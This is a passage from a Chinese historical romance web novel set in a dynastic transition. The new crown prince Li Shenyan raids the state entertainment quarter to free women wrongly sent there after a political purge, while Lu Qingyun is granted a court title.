江衡闻言怔住,盯着余下的半尺墙垣,反应过来,“是了,大鼠第三日该掘四尺,小鼠该掘四分之一尺,但只需再凿半尺” 他抓过三枚铜钱排开,重新计算。 算着算着,突然涨红了脸,被某处困住。 王宗赫看着纸上歪歪扭扭的算筹符号,忽然出声:“何不用累黍法?大鼠第三日每时辰掘三又三分之一寸,小鼠掘八又三分之一分。” 他边说边提笔写下方法。 江衡似懂非懂,“这分数如何运算?” 清蕴笑了下,“这便是朝廷设算学馆的缘故。” 说着,将整套算法在纸上列出,渐渐凝成江衡恍然大悟的欢呼:“是七个半时辰!所以总共两日又七个半时辰!” 姜玲捧着新蒸的槐花糕过来时,正看见孙子举着算纸开心,身侧两人都含笑看着,虽不知发生了何事,也露出笑容,“衡儿,休息会儿,别总盯着书。” 江衡很听话,回头看两位客人,起身道谢,“多谢陆姨,多谢陆姨父。” 姜玲稀奇,“衡儿怎么知道这是陆姨父?” 江衡指着王宗赫腰间垂挂的鱼符:“上回陆姨来送书时,袖口沾着松烟墨的香气。今天陆姨父衣摆也带着同样墨香。” “而且……”他眨眨眼,“两人站在一起时,他左手总护着陆姨——娘说,只有最亲近的人才会留心不让对方撞到梁柱。两人手臂碰触时,陆姨对他也完全不设防,可见两人很亲近,感情也好。” 果然是那个人小鬼大的江衡。清蕴点点头,王宗赫也难得露出笑意,对江衡的观察入微和其评价的“感情好”很很满意。 “很聪明。” 江衡面上带着孩童的小小骄傲,“当然,我日后可是要做状元的。” 清蕴:“我身边这位就是状元郎。” 江衡露出惊讶,默默看了人半晌,然后点头,“确实是我想象中的模样。” 几人都被他的话引得笑起来。 王宗赫曾经好奇清蕴怎么会和一个陌生人一见如故,还对其家中孩子多加照顾,此刻一见,也对江衡生出了爱才之心。 他暗暗看了眼清蕴。 如果和表妹有孩子,无论男女,大概也会是这灵慧活泼的模样。 这厢,清蕴从江衡在书院读书的话题切入,引到他和静王的交往,随后不经意问:“你觉得静王怎么样?” 江衡眨眼,“殿下天资卓绝,有万里挑一的聪颖。” “性格呢?” 江衡:“殿下喜静,眼光也高,不是看中的人,不会轻易搭话。” 这是孤僻的另一种说法。 清蕴从他的神色中确定了自己的猜想,江衡作为一个外人能够打破杨翊的心防,被其接纳,肯定有旁人不了解的长处。 如果请他帮忙,可能有意想不到的效果。 在姜玲这儿待了近一个时辰,清蕴才和王宗赫拜别江家人,再度归家。 她轻轻倚靠着王宗赫,解释自己所为,“同龄人之间也许更容易沟通,江衡很聪明,有他在,也许会事半功倍。” 王宗赫赞成了这个想法,随即不经意道:“猗猗对这家人似乎有些特别。” 清蕴:“姜姨她……有些像我母亲。” 王宗赫抚她长发的手顿住,愧疚怜惜闪过,明了清蕴的想法,“对不住,我……” “没事。”清蕴敛眸,“我早就不再在意那些事,之所以会和姜姨保持联络,也是觉得和她有缘分。” 她语气含着浅浅的遗憾,这种平淡又恰到好处的情绪迅速让王宗赫放下了那丝疑惑,“人生难得有缘,江衡注定大有作为,今后若有机会,我会帮他。” 清蕴:“多谢三哥。” 王宗赫的回答,是轻轻吻了下她的发顶。 不用仔细观察,清蕴也知道,表哥不会纠结于她与完全扯不上关系的姜玲结缘之事。他很敏锐,敏锐到能够先一步察觉她的情绪,进而下意识避开让她不开心的提问和追究。 这样的对话,也早就在清蕴脑海中设想过无数遍了。无论是谁提出疑问,她都有应对的方法。 如果是李审言,他应该不会立刻安抚她,更可能做的,是紧紧盯着她,从她神色中找到蛛丝马迹,然后再漫不经心地表示,随便她隐瞒什么,有事不要忘了找他帮忙。 靠在王宗赫怀中,这些想法就在清蕴脑海中慢慢冒出来,不停盘旋。 今天她对李审言说的话十分出格,恶劣中甚至带了一丝不该有的戏弄、挑()逗。当时她确实有丝奇怪的愉悦,但事后回想起来,清蕴意识到,不该这么做。 她不该迈出第一步。 清蕴忽然抬眸,这个动作让王宗赫疑惑,随即惊讶。 清蕴竟主动吻了他。 转瞬即逝的讶然后,他很快反守为攻,低头吻下去。 夫妻之间的恩爱太多,从细小的动作中就能察觉到对方此刻状态。为了避免在马车上发生不该发生的事,这个吻被适时停了下来,王宗赫看着怀中唇瓣水润的人,动作止住了,有些身体反应阻挡不了。 他低声,“怎么了?” 清蕴:“三哥刚才风姿太盛,没忍住。” 王宗赫想起自己为江衡解疑答惑的时刻,不由低低失笑。 官场上挥斥方遒的时候那么多,都没能吸引清蕴,没想到仅仅是教导一个七岁的孩子,就能得到她的热情。 他难得开玩笑,“那我该收江衡为学生。” 清蕴也笑了下。 在这样的细声私语中,马车抵达王家。 回到春诵堂,夫妻俩以商议事情的由头屏退下人,白日里也彻彻底底荒唐了回。 ** 李审言被一声夸赞搅得心不在焉许久,等恢复意识时,发现人已经回到了国公府,孟嘉不知何时坐在身边,正张嘴说着什么。 滔滔不绝的当口,孟嘉停下喝了口水,“你觉得怎么样?” 李审言:“什么怎么样?” 孟嘉:“……所以你刚才一直没听?” 李审言不承认不否认,眯着眼懒洋洋的模样看得孟嘉拳头硬邦邦,不停告诉自己,面前这人打不得。最重要的是,打不过。 他重复了遍,“我说,柳太后不肯认罪,反过来痛斥将军的六大罪状,可以从柳阁老和王家入手,请他们联手写一篇檄文。” 李审言:“嗯,可以写。” 孟嘉:“你确定?” 见李审言毫无反应,他笑了笑,“好,那我就去禀告将军,去请王侍郎为其写一篇讨柳檄文。” 随后又道:“本也该是如此,我看将军特别欣赏王侍郎。此事一了,柳阁老定不会再留任,王侍郎是最有可能接任其位的人。” 第92章 太子李审言 “将军?”齐国公被唤回神, 不知不觉间,他手握住了正冒着热气的瓷杯,一看就滚烫无比,惹得身边人投来诧异目光。 他迅速理好神色, “继续说。” 出声的是齐国公从出兵云南后, 就一直跟在他身边的军师, 名秋延, 人唤秋先生,也是他身边难得不通一点武艺的人。 能够独自领兵作战的人不可能没有一点谋略, 齐国公麾下有好几位智勇双全的武将,但单论智慧,还没人能比得过运筹帷幄的秋延。 当初能够兵不血刃抓了赵良、云开等几位土司,都归功于他的出谋划策,所以那些武将都对他很服气。 唯一可惜的是, 秋延身患恶疾, 必须好好休养。他准备等局势定下后,就告别齐国公,携妻女回江南老家。 秋延抚须, 扫过齐国公的脸,“我的意思是,王家有意投诚,王三郎和陆夫人主动为您解决了两件大麻烦, 论功行赏, 他们不仅不能落下, 还要重赏。将军一直苦于身边鲜少文臣, 依我之见,王三郎有宰辅之才, 若将军能放心用他,他也定会效忠于您。” 齐国公:“陆氏那儿,她不一定愿出这个风头。” 在齐国公眼中,曾经的儿媳娴静守礼,虽然聪明,但不是爱名利的性子。如果事后大赏她,有可能给她带来不必要的麻烦。 秋延笑了笑,“曾听将军说过陆夫人之聪颖,她既然愿意为将军做这些,想来也并不会想一直籍籍无名。将军为何要因为她是一个女子,便觉得不适宜名声太盛?” 齐国公语噎,经秋延提醒,又想起大长公主。是了,他曾经的妻子就是一位敢于同男子争锋的奇女子,更不该因清蕴的身份就擅自为她决定什么。 齐国公点点头,“好,都按你的意思办。” 陆陆续续商议了两个多时辰,齐国公留秋延用饭,起身看向窗外。 暮色渐起,天际翻涌着金红色的云浪,高耸楼阁慢慢成为这幅巨画中的泼墨,被残余的光线勾勒出轮廓。 征战途中他曾看过更壮丽的景色,但无论哪儿都比不过这里,比不过那把椅上的风景。 愿望即将成真,他清楚,一月内,待文昭帝被静王指认退位,静王又“自愿”请他这位外公登基后,京中自会有人主动拥立他。起初隐隐的激动过后,如今竟有一丝惆怅寂寥。 起初齐国公有功成名就的野心,仅限于报效家国。先帝多疑,屡次试探、设计于他,他也只想着避其锋芒,渐渐甘于平庸。 直到长子身亡,激起了他最深的怒火,一步步、一天天走到如今地步。 数年过去,他即将登上那个最高的位置,同时,也永远失去了和她重修旧好的机会。 ………… 李审言不知齐国公这么多愁善感,即便知道了,也只会嘲讽一句“矫情的老头子”。 他忙完事,亲自去把太夫人接了回来。老人家年纪大了,前几年一直在为儿孙担忧,现在得见二人平安,且大权在握,心下微松,就生了场大病。 这场病来势汹汹,大夫都不看好,其余人得知后,为免横生意外,默契地加快进度,将齐国公请上皇位,改国号为岳,年号取镇安二字。 与此同时,李审言被封太子,入主东宫。太夫人被封妙严太后。 新朝初立,百废待兴,但太后病重,镇安帝和李审言暂时都无瑕顾及其他,把次要事务都摆在一旁,先陪伴太后。 李审言心情不佳,脸色阴沉沉,没了惯有的松弛。 暂时忙完,他喝下大杯茶水提神,坐在太师椅上捏了捏眉,听到李琪瑛和清蕴一同去探望太后的消息时愣了一愣。 想想,快速披上外袍走去。 他迈入门时,清蕴已经看望过太后,留李琪瑛和老人家说话,自己则静静欣赏盆中绣球。 侧看过去,她神色宁静,像幅美丽的仕女图。偶尔眼睫颤一颤,也只会使这幅图更加生动。 已经三个月没见了,李审言视线动也不动地凝在她身上。 她突然说出那句话后,李审言本以为是陆清蕴有所动摇,随后却又能整整三个月都避开各种各样和他见面的场合。现在想来,那天可能只是她恶劣的一时捉弄。 李审言却没什么恼怒,可能是因为他早知她本性如此。如果不是最近事情太多,祖母病重,他怎么也不可能安静这么久。 宫人行礼声引起清蕴注意,回头看到他并不意外,“太子殿下。” 李审言直直入内,倒没做什么失礼的事,先问太后情况,得知老人家如今精神尚好地在和李琪瑛说话,嗯了声,“还有半个时辰就要喝药,别忘了。” 宫人应是。 等李审言重新转头时,清蕴无声收回目光。 他好像只是照常来看望祖母,竟没和清蕴说一句多余的话。旁人看来,太子殿下和陆夫人相隔丈余,安静无比,把相识但不熟这五个字诠释得十分生动。 唯独被注视的清蕴能感受到,他隐秘目光下的灼热。 大约一盏茶的功夫,李琪瑛出门,撞见李审言后微怔,掩去眼底的复杂,和他打了个招呼,但没行礼。 李审言不计较这些,淡淡掠过她一眼,径直去内室。 两人擦肩而过时,衣摆不经意相触,李审言腰间掉落一枚香囊。 李审言脸色微变,在宫人反应过来前先一步捡起香囊,也没对人发难,把东西往袖袋一揣,就走了。 李琪瑛长舒一口气,好在他没故意刁难人,要她对李审言行礼低头,简直比杀了她还难受。如果不是祖母病重,她根本不想进宫。 “他没为难你吧?”李琪瑛关心清蕴。 清蕴摇摇头,李琪瑛唔了声牵着人往外走,小声嘟囔,“好在有你,不然我都不知该怎么来。” 清蕴:“你也是陛下的女儿,即将受封公主,在宫中行走不用太拘谨。” 李琪瑛笑,“陛下愿意封我公主,是他对我还有仁爱之心,但娘已经与陛下和离,我不能真把自己太当回事。” 她没说出口的是,李审言如今是太子,日后如无意外还会登上那个位置。他性子阴戾,有仇必报,以母女俩和李审言的关系,要提防的是他秋后算账。所以她和母亲商量好,等过段时间,就带着杨翊离开京城,去别处生活。 具体时间和地点都没定,所以她没告诉清蕴。 李琪瑛换了个话题,“听说陛下很重用王……你夫君,准备让他入阁?” 清蕴:“也许吧。” 王宗赫很谨慎,不是铁板钉钉的事,不会随便说,因此这件事,清蕴都是从别人口中得知的。 李琪瑛眨眨眼,看出她也不想聊这个话题,识趣地说起其他。 等清蕴归家时,发现来了一位意外的客人——柳晚。 柳晚等候许久,一见她便迫不及待迎来,“清蕴。” 随手解开披风,清蕴好奇她的来意,吩咐人退到门外。 柳晚没有太多寒暄,几句话后直入主题,咬咬牙,“我来,是想请你,帮我们柳家姐妹向王大人求情。” “求情?” 柳晚颔首,“我们和柳太后同宗同族,有些罪避无可避,这些我都认了,可……” 她眼中隐隐冒出泪水,“王大人他铁面无私,主张严惩柳太后亲族,所有人都要清算,连女眷都不放过。我有尤衡护着,暂时还可安然无恙,可族中其他姊妹也同样无辜,要我眼睁睁看着她们被发卖教坊司,实在做不到。所以……” 柳晚在清蕴面前跪下,“清蕴,我只能来求你了。” 第93章 有几个人能像他那样不顾礼义廉耻! 街巷灯火稀疏, 行人渐无,慢慢到了宵禁时间。 新君登基,宵禁制执行得更为严苛,时辰一到, 不许任何闲人在街上游荡行走。一旦犯夜, 轻则打板子, 重则就地正法。 王宗赫刚在宵禁司夜巡队的帮助下解决了一桩麻烦事, 如今重新坐上马车往家去。 车夫虽然察觉他神色不虞,还是犹豫着开口, “大人,小的看那对孤儿寡母也没别的念头,就是纯粹去买药。” 刚才在路上,王宗赫透过车窗看见路途有抱着稚儿行走的妇人,打量妇人形容后, 忽然让车夫拦住他们。略问了两句话, 得知母子俩果然为柳家族人,便立刻叫来夜巡队,让他们把偷偷上街的母子押回家。 看夜巡队作风, 那妇人肯定少不了一顿罚。 车夫觉得大人行事未免太不近人情,妇人因稚子生病才入夜出来求医,即使夜巡队看见,都会睁一只眼闭一只眼。偏偏大人开口, 他们没法讲究人情。 即使是罪后族人, 也不至于连孤儿寡母都罪大恶极。 这话堪称冒犯, 王宗赫淡淡瞥他一眼, 没作答,也没出声斥责。但车夫已经从那眼神中感受到威严, 即刻缩了缩脖子,冒出的勇气荡然无存,心道经历过入狱又改朝换代后,大人官威更盛了。 官威很大的王宗赫回到家中,发现清蕴还没有上榻,在内室书桌旁看着什么。 她应是洗漱过,长发披散,脸蛋素净,中衣外披了件袄衣,身前摆着熏笼。 暖香四溢,屋内带着王宗赫熟悉的宁静,眉眼瞬间放松下来。 在官署待了一天,素爱洁净的他自觉浑身灰扑扑,先去沐浴了番,再回来找清蕴,坐在她身旁。 “在看什么?” 清蕴顺势将厚厚一叠类似账册的东西递给他,王宗赫接过,越翻,神色越平静,“柳晚来过了。” 是陈述而非疑问,清蕴颔首,“她不方便找你。” 王宗赫思索片刻,“尤衡会护好她,她不必担心。” 尤衡很适合任一地主官,治理民生,如今已经从知县升任知府。镇安帝登基,大部分要清算的都是京官,地方官员只要没有和柳太后一党勾结,能够做出政绩,基本不会受影响。 柳晚随尤衡去任上后,这还是第一次归京,就是因柳家的事。 严格来说,曾经的柳阁老和柳太后不能算真正一党,但两人关系太近,兼之柳阁老和曾经的齐国公如今的镇安帝为死对头,清算柳太后时,当然会不可避免地牵连到他。 如今柳阁老闲赋在家,门庭冷落,作为他学生的王宗赫备受重用,不仅没有对未牵扯其中的柳家人网开一面,反而如此无情,是清蕴没想到的。 清蕴清楚三哥在官场上有野心、有手段,但总觉得他大体而言是面冷心热之人。不然,当初不会冒着前程尽弃的风险娶她。 柳晚带来的事,让她有些许惊讶。 因此听到话后,她轻声道:“柳晚担心的不是自己,而是其他人。” 王宗赫目色微沉,“这事我们管不了,也不该管。” 虽然他得了镇安帝青眼,可在其面前最受信任、说得上话的绝不是他。柳家女眷这事,是有人故意要针对他们,打着为曾经被柳太后打压的人家出气的名号。王宗赫知道后没有阻拦。 抚了抚清蕴长发,他劝道:“我知道你心软,但他们行事不算出格,也有法可依,即便说到陛下面前,也是占理的。” 生为女子,清蕴天然对那些无辜受牵连的柳家女眷有怜惜之情,但王宗赫所言亦有道理,不可能为了其他人,让三哥罔顾自己和王家,去行此一善。 沉默会儿,她道:“我听三哥的。” 等这段时间过去,没有那么多人盯着柳家女眷,再寻机看看能否把她们转到织经堂吧。 王宗赫把她抱到膝上,似乎有话想说,但还是没出口。最终只无声抱了会儿,再转到榻上,随意聊了会儿家常琐事,拥着她睡去。 清蕴能察觉到三哥有心事,且和她有关。不过他不愿说,她也不想追问,等他何时想倾诉再听。 柳晚请求的事没有结果,她托人告诉了柳晚一声,没有把下一步的想法说出。那毕竟是无法保证的事,清蕴不想给人虚无缥缈的希望。 大概是明白不能强人所难,柳晚没再登门。 镇安帝登基一个半月,太后身体状况好转,他终于腾出时间,开始大肆封赏。 令清蕴意外的是,竟有对她的额外封赏。 “咨尔陆氏清蕴,沉敏多智,襄赞枢机……今特封文襄夫人,赐九章玄衣、玉叶冠,领开明渊阁行走。凡军国要务,皆许密奏,用彰女中张良之才。” 听内侍高声宣旨,清蕴能感受到周围投来的目光,面色不变,俯首谢恩。 宣完旨意,内侍将圣旨交给她,一并交来的还有黑木盒,盒中装有鎏金令牌,笑道:“皇权特许,文襄夫人今后可持令牌,自行在宫中行走。” 清蕴目露感恩,“多谢陛下。” 白芷奉上荷包,内侍一捏,就知道里面是银票,心道文襄夫人出手就是大气。他没过多推辞,说两句客气话就收下了。 像他们这等随侍天子的人早成了精,懂得该对谁客气。这种银子也不是谁的都收,要看人。 清蕴问他们,“请问明日可方便进宫?我想当面向陛下谢恩。” 内侍道:“陛下早有吩咐,文襄夫人若要去,随时都可。” 说完,笑盈盈回宫。 王家都没想到镇安帝对他们如此宽待,夫妻二人都有封赏不说,且都不是虚职。尤其是清蕴,以女子之身行走明渊阁,遇事可单独密奏,这种权力,比得过许多官员。 众人有各种猜测,王宗赫倒是接受得很快,道:“不拘一格用人才,不因男女之别有所区分,正彰显了陛下圣明。” 不论镇安帝出于什么原因封赏,王宗赫知道这应该很合清蕴心意。 他想得不错,清蕴确实很喜欢这道圣旨,比赏赐她金银珠宝要远远好得多。虽然她依然不能和男子当官一样每日参政,但已经拥有了不可小觑的权力。 与其他人无关,仅属于她自己的权力。 翌日,清蕴就持令牌进宫,求见镇安帝。 镇安帝在御书房接见的她,见她奉上的香料,面露怀念,“我还记得这香,于酒后用极佳,第二日不会头疼不适,是不是?” 清蕴说是,“陛下嗜酒,臣妇就又备了这种香。” 镇安帝摆手,“不必守这些虚礼,称呼你我就好。” 他身形伟岸,玄色龙袍加身时,皇帝之威尽显。但从他的眼神中,清蕴看到的仍是之前那个宽和慈爱的公爹,便也笑了下,“是。” 镇安帝问:“我赐你那道旨意,王家可有说什么?” 清蕴答:“家中人都很感谢您,让我要守礼知恩,不可恃宠而骄。” 镇安帝哈哈笑起来,不管王家人说没说这话,总之是他想听到且喜欢听的。 他道:“本来我只想到了赐你封号,密奏和令牌的主意可是……” 突然意识到什么,他重重咳了两声。 正好方才那句话声音也轻,清蕴没听清楚,见他似乎被茶水呛着,下意识想帮忙拍背,随即意识到不合适,瞬间停住。 镇安帝停了咳嗽,转移话题,拿起她送的另一种香,“这又有什么功效?” “是为您处理政务时备的,用于提神醒目,还可以解乏。”清蕴道,“您现在不妨试试?” 得到应允,清蕴便走到铜炉边准备熏香。镇安帝好奇之下,到她身旁观看。 香气尚未散发,两人正说着话,突然一个脑袋横插了进来。 “说什么悄悄话?”是李审言的脸。 镇安帝:“……”好在他没有心疾,不然迟早被这小子吓出病来。 没好气地瞪了他一眼,“没有传召就进来,规矩都吃到狗肚子里去了。” 话是斥责,内容透着亲昵。清蕴也不意外,经历了丧子丧女后,镇安帝对李审言纵容得很,面上嫌弃,内心恐怕没什么底线。 按李审言的性子,本来必会呛声,这会儿竟意味深长道:“嗯,可能确实到狗肚子里去了。” 视线都没往这边瞟,清蕴却感到一阵耳热,想起差不多要忘了的那个荒唐要求。 李审言继续问:“请问陛下和文襄夫人在商议何等大事?” 镇安帝把铜炉往他手上一塞,懒得搭话。 李审言看了看,终于明白过来,竟是隐隐松了口气。镇安帝看着,忽然意识到这小子刚才突然出现是什么意思。 竟是担心他对清蕴存在不该有的心思? 镇安帝又怒又好笑,要不是清蕴在场,恨不得当场打这小子两掌。自己脑子里存着那些见不得人的想法,便对所有人疑神疑鬼。 也不想想,有几个人能像他那样不顾礼义廉耻! 有心敲打李审言,镇安帝对清蕴道:“你先回去吧,朕和太子还有事商议。” 第94章 蛮不讲理、横冲直撞的太子 镇安帝训话, 无非是老生常谈,来来回回就那么几句。他不擅长开导,碍于礼法情面,有些话也不好说得太直白。 李审言敷衍地嗯嗯应声, 眼神使过去, 内侍总管自然而然来服侍镇安帝喝养生汤。 趁这个功夫, 李审言快速闪了出去。 清晨还明朗的天不知何时变得昏暗, 仔细听去,屋顶、地面不时传来细小的噼啪声, 是落了雪籽。 年关将至,按京城的气候,早就该有雪了,今年算来得较晚。 瑞雪兆丰年,之前迟迟不落雪, 有人暗地嘀咕镇安帝得位不正, 惹得上苍不满。如今雪花落下,许多宫人脸上露出轻松笑意。 清蕴在廊下停住,仰首观望, 看着雪籽转为雪花,再看其由小变大,飘至每个角落。 白芷想为她戴上兜帽,她摇摇头, 任雪花洒到发间, 伸出手, 感受这迟来的时节变化。 乌发红唇如她, 在素雪造就的天地中,成为极其浓烈的一抹色彩, 让李审言几乎不自觉停步,在不远处借着廊柱的遮挡定定欣赏。 不得不说,陆清蕴天生适合这样的场景。豪奢壮丽的宫殿是她的装饰品,珠翠华服也掩盖不了那昳丽的眉眼,金玉堆砌出她的形,雪色则成为她此刻的骨。 李审言想起几年前,自己趁夜入京,想在她再嫁当夜带人离开,却被毫不犹豫拒绝的场景。 午夜梦回中,这场景几度出现,令他愤怒、不解、郁郁过,几乎成为执念,却一直找不到答案。 此刻,他似乎明白了什么。 陆清蕴很清楚想要什么,或者说知道她自己适合什么。居无定所、风雨飘摇不是她所求,她不喜欢冒险,不会轻易让自己处于险地。 这是她的处世之道,也是她经营所愿。 最让她喜爱的,是能够让她放松且安心的生活。 李审言难得没出面打扰,像曾经在国公府的许多次一样,避开视野,跟着她一路行走。看她欣赏雪景、漫步回廊、谈笑风生,最后走出宫门,登上马车。 他贵为太子,一路畅通无阻,马车速度不算快,也能够靠步行跟随。 差不多到下值的时间了,各官署中陆陆续续走出官员。离得远,李审言依旧一眼就看到了其中的王宗赫。 一众文官中,王宗赫宛如鹤立鸡群,凭借出众的身形和眉眼成为焦点,被同僚簇拥在中间。 李审言确信前方马车上的人也看到了王宗赫,出乎意料的是,她竟没有上前,和她的好夫君一同归家? 瞬间来了更大的兴致,李审言在不易察觉处,看着在她的避让下,夫妻俩彼此错过,朝向不同的路。 她没有回王家,马车行驶到京中有名的一家酒楼,看样子预备在这儿解决午饭。 没什么急事,李审言索性也进了酒楼,见她要了个临窗的位置,便在不远处选定座位,凭借巨大落地瓶和座椅遮挡自己。 李审言隐匿功夫绝佳,有意收敛目光时,清蕴白芷以及其身后跟随的藉香都察觉不到他的存在。 他起初以为,清蕴是在王家遇到不如意之事,随意在外逛逛,而后发现她挑临窗的位置是另有目的。 酒楼斜对面为内务部街,整条街隶属于教坊司,管理的是官家乐伎,许多官员宴请饮酒时都会来这儿。 教坊司其实可称官家妓院,因此,他们来这儿可不单纯是为了喝酒赏乐。 李审言微微挑眉,难道王宗赫也会来这里寻欢作乐,她来这里抓人? 换了个地方,李审言跟着盯紧那条街。 落雪纷纷,天幕转暗,内务部街的灯笼渐渐亮起,隐隐的丝竹声变大,进入这条街巷的马车也开始多起来。 酒楼中像二人一样盯着那条街的不在少数,但寻常百姓多为好奇、打趣,说起教坊司的女子,都带着心照不宣的调笑。 “教坊司这段时间又进了十多个姑娘,都是罪后族中的。”出声的人啧啧道,“听说一个个都是大家闺秀,真想去瞧瞧。” 同行人笑他,“那都是贵人们玩的,你是几斤几两?” 随后又响起诸多议论,无非是教坊司的姑娘们曾经身份多么尊贵,容貌多美,肌肤多白,身段多软之类男人间下流的臆想。 目光落在那条灯火通明的街道,李审言随意把玩酒盏,姿态轻松,眉眼仍是含笑,看起来在饶有兴致地听市井闲谈。但若是熟悉的人坐在面前,就知道他已经十分不悦,甚至在按捺怒气。 李审言记得,月前处置柳家人时,曾定下过几条规矩:罪不及出嫁女,有婚约者可继续与男方成婚,十五以上不曾婚配之人可自行与平民婚配或随家人流放,十五以下的女子则只能一同流放。 只有一种女子会进教坊司,那就是既无婚配,又找不到平民百姓娶她,还不愿流放去寒苦之地的人。 他不信,会有十多个女子宁愿成为官妓,也不肯和家人一起吃苦。 将盏中酒一饮而尽,李审言起身,最后瞧了眼清蕴,转头离开。 他先传来亲卫,让他们去查柳家女眷之事,再以太子身份,去礼部查教坊司近段时日进人的册子。 礼部正好有个主事未下值,听吩咐把档案全部调出,心惊胆战地看着太子爷的脸色越来越冷、越来越黑。 “档上所记,柳如茵不过十四,为何也进了教坊司?”李审言指着册子问。 主事走过去,解释道:“应是此人生辰月份记错了,已满十五,父母在牢中身亡,又无婚约,故而被送去了教坊司。” 李审言眯眼,“此五人都有婚约,且有三人婚期在即,男方竟全都毁约?” 主事想了想,“卑职记得,其中两位姑娘的未婚夫婿本愿意履行婚约。但不巧的是,一人长辈突然离世,需要守孝三年。另一人则是临时反悔,特来礼部撤去记档。” 李审言没评价,接着又问了一些人,好在主事就是负责教坊司的,对这些事了如指掌。 听完所有缘由,他也没为难主事,反而夸赞:“不错,很尽职。” 至少没有一问三不知的情况。 主事受宠若惊,听说太子爷脾气不算好,自己何其有幸,竟能得到这位爷的肯定。 他胸中升起莫大的豪情,知道太子在调查教坊司和柳家女眷之事,主动道:“殿下还有何事,尽管吩咐卑职。” 李审言瞧来,笑了下,“还真有事要拜托你。” 他低声吩咐了一些话,主事嗯嗯应声,最后被他拍肩,“仔细办,必不会亏待你。” 这可是太子爷的承诺!主事更有干劲,连忙给下承诺,“殿下放心,三日内必有结果。” 乐呵呵地看着李审言离开的背影,主事想,谁说太子爷不好相处?明明很是平易近人,对他一个小小主事也客气有加。不像某些随陛下征战或在诛柳后中立功的新贵,行走时恨不得昂着头鼻孔朝人,连京城那些世家大族也要避其锋芒。 ………… 吩咐完主事,李审言没有闲下,继续着人查清那十三个女子进教坊司前,有谁推动过此事。 三日后,他手里捏着份名单,狞笑了下。 经过一日一夜的大雪,京中各处都积了厚厚的雪,街道清扫出供人行走的道路,将雪堆在两侧。 内务部街外冰天雪地,街内毗邻的几栋高楼暖香融融、乐声四起,分隔成两片天地。 戌时,宵禁时刻,李审言率领亲卫将这条街前后堵住,每隔一丈守着两人,随后令阿宽猛地踹开了其中一栋楼的大门。 楼内瞬间传来尖叫叱骂声,声音持续不到一息,立刻被身披甲衣、腰垮环刀的亲卫吓了回去。 亲卫迅速排成两列,迎接李审言入内。 李审言穿了身便于行动的劲装,衣衫紧贴身躯,勾勒出修长矫健的四肢,配上俊美脸庞,足以吸引许多目光。 但此刻没人敢欣赏这美色,在他们眼中率兵围楼的李审言和阎王爷无异。有人认出他身份,哆哆嗦嗦跪地,“太、太子殿下……” 房内饮酒作乐的官员被扯了出来,有些已经衣衫不整,正破口大骂,看见楼下所站何人时,立刻哑火。 其中有位曾和李审言共同作战的六品武官不以为意,醉醺醺往他身上靠,咧开嘴笑道:“兄弟们不过来找个乐子,殿下怎么弄这么大阵仗?” 随意往左迈了步,李审言冷冷看他没了支撑倒地,命令一名亲卫,“所有人问出姓名、官职,通通记录下来。” 待这栋楼的人全被押出来,他带着阿宽转战隔壁,如法炮制。 内务部街有五栋楼,那十三个人被分散在各楼中。但李审言此行所查的不只是柳家女眷之事,还为了查其他本不应被送来教坊司的人。 他已经掌握了部分证据,这才率兵前来。 在这边待了一个多时辰,随着名册被一一收齐,李审言点头,当即带着十余人,半夜闯进了礼部尚书的府邸。 礼部尚书四十多的年纪,正搂着小妾酣睡,冷不防房门传来轰响,尚未来得及反应,人已经被揪着衣领扯了起来。 紧接着,一堆册子甩了过来,李审言坐在他平时最钟爱的太师椅上,“好好看看。” 礼部尚书随手扯了本册子,“殿下是让臣看……?” “柳氏女年未及笄却被篡改生辰,江南盐案犯官之女早定娃娃亲遭胁迫退婚,还有曾经户部主事的妹妹连民籍都能改成乐籍。”李审言眼神阴鸷,俯下身,和礼部尚书贴得极近,“礼部什么时候成了皮肉买卖场?” 礼部尚书冷汗直流,“万万不敢!殿下说的那些,除了柳氏女,其他的事,都不在臣任上啊!” 他说得委屈万分,李审言也清楚这是事实,之所以摆出这么大的阵仗,是为了给足够威慑,让他不敢提前和人通气,或为了维护亲友罔顾事实。 李审言嗯了声,“原来如此。” 礼部尚书喊得大声,“正是!” 李审言轻飘飘道:“既然这样,那给你三天,把这些作奸犯科的蠹虫给我挖干净。该流放的流放,该问斩的问斩,教坊司里被强掳的良家子,如果少送还一人,就用你的脑袋补。” 礼部尚书脸色僵了下,面对李审言的脸不敢说什么,只好拼命应是。 面对面时,文官哪里斗得过武官。更别说还是这蛮不讲理、横冲直撞的太子! 这夜,礼部尚书自是彻夜难眠,不得不苦着脸捡起那些册子,连夜梳理人员,待第二日去官署清查。 小小闹了一场的李审言倒没什么负担,让人继续守在那几栋楼,回东宫随便洗漱一番,见还有时间休息,直接往榻上一倒,沉沉睡了过去。 第二天要上早朝,只睡了一个时辰的李审言依旧精神奕奕,换了身衣裳去上朝。 不出意料,他被御史弹劾了。 洋洋洒洒列了他擅自带兵围了教坊司的内务部街、伪造文书擅自给几十名女眷脱罪、深夜擅闯大臣府邸威逼恐吓等十余条罪名。 提到深夜擅闯大臣府邸时,礼部尚书忙摆手,冲镇安帝解释,“不不不,殿下并未对行臣威逼恐吓之举,是发现了臣职务有缺漏,特意来好心提醒臣,臣感激都来不及。” 李审言似笑非笑,倒也没反驳这说辞,目光对上文臣中的王宗赫,做出挑衅的神色。 王宗赫收到示意,依旧默不作声,旁观御史弹劾。 听下首人讲述完来龙去脉,镇安帝已经怒火难抑,其中有对李审言的,但更多的还是对众多女眷被逼入教坊司一事。 他先看向李审言,“太子,你可认错?” 李审言道:“儿臣知错,不该在知晓众多女子被迫入教坊司后冲动行事,未等陛下决断,就擅自伪造文书让她们提前脱身。” 御史:“……“只有这个错吗? 镇安帝点点头,“念在此事情有可原的份上,朕只罚你杖责八十。” 李审言二话不说,直接走出殿,扑到准备好的长凳上。不一会儿,就传来了棍子敲打身体的沉闷声。 有人伸长脖子探看,确定不是所谓的阴阳板子,而是结结实实地打。 被罚的人一声不吭,其余人面面相觑,领略到一个讯号。 太子都这么干脆地罚了,那些涉事官员恐怕更不会轻饶。 八十板子下去,身体再强健的人也要残一段时间。镇安帝心疼儿子,更明白他为何反应这么大。 李审言生母就是罪官之后,她运气好被齐国公府救下,她的姐姐、李审言的姨母就没那么好运了。十三岁被虚报年纪进了教坊司,待后来被找到时,已经身患重病,没捱多久就去世了。 镇安帝没想到,儿子心里一直记着这事,还能够以己推人,惠及其他人。这让他头疼儿子不服管教之余,总算有了丝欣慰。 这样看来,允勖本性不坏,绝不会成为残暴之君。 